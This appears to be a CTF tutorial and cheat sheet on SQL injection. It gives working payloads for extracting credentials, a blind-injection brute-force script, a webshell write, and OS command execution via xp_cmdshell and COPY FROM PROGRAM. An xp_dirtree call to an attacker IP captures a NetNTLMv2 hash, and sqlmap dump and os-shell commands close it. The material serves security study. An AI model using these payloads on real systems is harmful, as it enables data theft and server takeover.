SQL injection: from a single quote to dumping the database
How to detect SQLi, extract data with UNION, blind or time-based, read files and when to reach for sqlmap. With a per-engine cheat sheet (MySQL, PostgreSQL, MSSQL, SQLite).
SQL injection happens when the application pastes your input into a query instead of passing it as a parameter. On a CTF box it is often the way in: credentials in a users table, a config file read with LOAD_FILE, or straight command execution.
Detecting it
Test every parameter (GET, POST, cookies, headers such as User-Agent or X-Forwarded-For) with characters that break the syntax and watch for any change: a 500 error, a blank page, fewer results or a slower response.
| Test | What you look for |
|---|---|
' and " |
Syntax error or a different response |
' OR 1=1-- - |
Bypasses a login or returns every row |
' AND 1=2-- - |
The page comes back empty (and with 1=1 it is back) |
1 AND 1=2 |
Same thing on a numeric parameter, no quotes |
' AND SLEEP(5)-- - |
The response takes 5 seconds longer |
Tip
The -- - comment has a space and something after it because MySQL requires a space after --, and many browsers and frameworks trim trailing spaces. In MySQL # also works (encoded as %23 in the URL).
If the login says "wrong user or password" but admin'-- - lets you in, the query was something like SELECT * FROM users WHERE user='$u' AND pass='$p' and you just commented out the password check.
UNION: when you can see the output
With UNION SELECT you append your own rows to the result. You need the same number of columns as the original query.
' ORDER BY 1-- - -- increase until it errors: the previous number is the total
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT 1,2,3-- - -- which numbers show up on the page? That is where you write
Then pull information from the engine:
' UNION SELECT 1,@@version,database()-- -
' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,group_concat(username,':',password SEPARATOR '<br>'),3 FROM users-- -
Note
If the application only shows the first row, add LIMIT 1 OFFSET n or make the original query return nothing (' AND 1=2 UNION SELECT ...) so your row comes first.
Per-engine cheat sheet
| MySQL / MariaDB | PostgreSQL | MSSQL | SQLite | |
|---|---|---|---|---|
| Version | @@version |
version() |
@@version |
sqlite_version() |
| Current database | database() |
current_database() |
DB_NAME() |
— |
| Tables | information_schema.tables |
information_schema.tables |
information_schema.tables |
sqlite_master |
| Join rows | group_concat(x) |
string_agg(x, ',') |
STRING_AGG(x, ',') |
group_concat(x) |
| Sleep | SLEEP(5) |
pg_sleep(5) |
WAITFOR DELAY '0:0:5' |
— (heavy query) |
| Concatenate | concat(a,b) |
a||b |
a+b |
a||b |
Blind: when you cannot see the output
If the page only changes between "there is a result" and "there is none" (boolean-based), ask one character at a time:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -
If not even that changes, use time (time-based):
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(3),0)-- -
Doing this by hand takes forever. A short script teaches you far more than sqlmap about what is going on:
import string
import requests
URL = "http://10.10.10.10/login.php"
ALPHABET = string.ascii_lowercase + string.digits + "$./_{}"
secret = ""
while True:
for c in ALPHABET:
payload = f"admin' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),{len(secret) + 1},1)='{c}'-- -"
r = requests.post(URL, data={"username": payload, "password": "x"})
if "Welcome" in r.text: # whatever tells a "yes" from a "no"
secret += c
print(secret)
break
else:
break # no character matches: we are done
Tip
A binary search on ASCII(SUBSTRING(...)) (> 64, > 96...) takes you from ~40 requests per character down to 7.
Reading and writing files
In MySQL, if the user has the FILE privilege and secure_file_priv is empty:
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
' UNION SELECT 1,'<?php system($_GET["c"]); ?>',3 INTO OUTFILE '/var/www/html/c.php'-- -
Reading files is gold even if you cannot write: the web app config (config.php, .env), SSH keys, or the web server config to find where the code lives (/etc/apache2/sites-enabled/000-default.conf, /etc/nginx/sites-enabled/default).
Command execution
-
PostgreSQL (superuser or the
pg_execute_server_programrole):CREATE TABLE cmd(o text); COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;You need stacked queries (
;), which PostgreSQL accepts from many languages. -
MSSQL, if you are
saor allowed to re-enablexp_cmdshell:EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';Otherwise,
EXEC xp_dirtree '\\10.10.14.5\x'makes the server authenticate to your Responder and hands you the service account's NetNTLMv2 hash. -
MySQL: the usual route is writing a webshell with
INTO OUTFILE(above).
sqlmap, used well
Save the request from Burp (right click → Copy to file) and feed the whole thing to sqlmap, so it carries cookies and headers.
sqlmap -r request.txt --batch # detect
sqlmap -r request.txt --batch --dbs # databases
sqlmap -r request.txt --batch -D web --tables
sqlmap -r request.txt --batch -D web -T users --dump
sqlmap -r request.txt --batch -p id --level 5 --risk 3 # more tests on one parameter
sqlmap -r request.txt --batch --technique=T --dbms=mysql # time-based only, faster
sqlmap -r request.txt --batch --os-shell # shell, if possible
Warning
--risk 3 adds OR-based tests that can modify or delete data in an UPDATE or DELETE. In a lab it does not matter; on a real engagement, think twice.
If there is a simple WAF, try the tamper scripts: --tamper=space2comment,between.
What people tend to miss
- Second order: you inject it when registering (username
admin'-- -) and it runs later, on another page that uses that value. - Other places: cookies,
X-Forwarded-For, the name of an uploaded file, JSON ({"id": "1 OR 1=1"}) and sort parameters (?sort=name), where you cannot use quotes butCASE WHENworks. - NoSQL: if MongoDB is behind it, the syntax is different; see the machines with NoSQLi.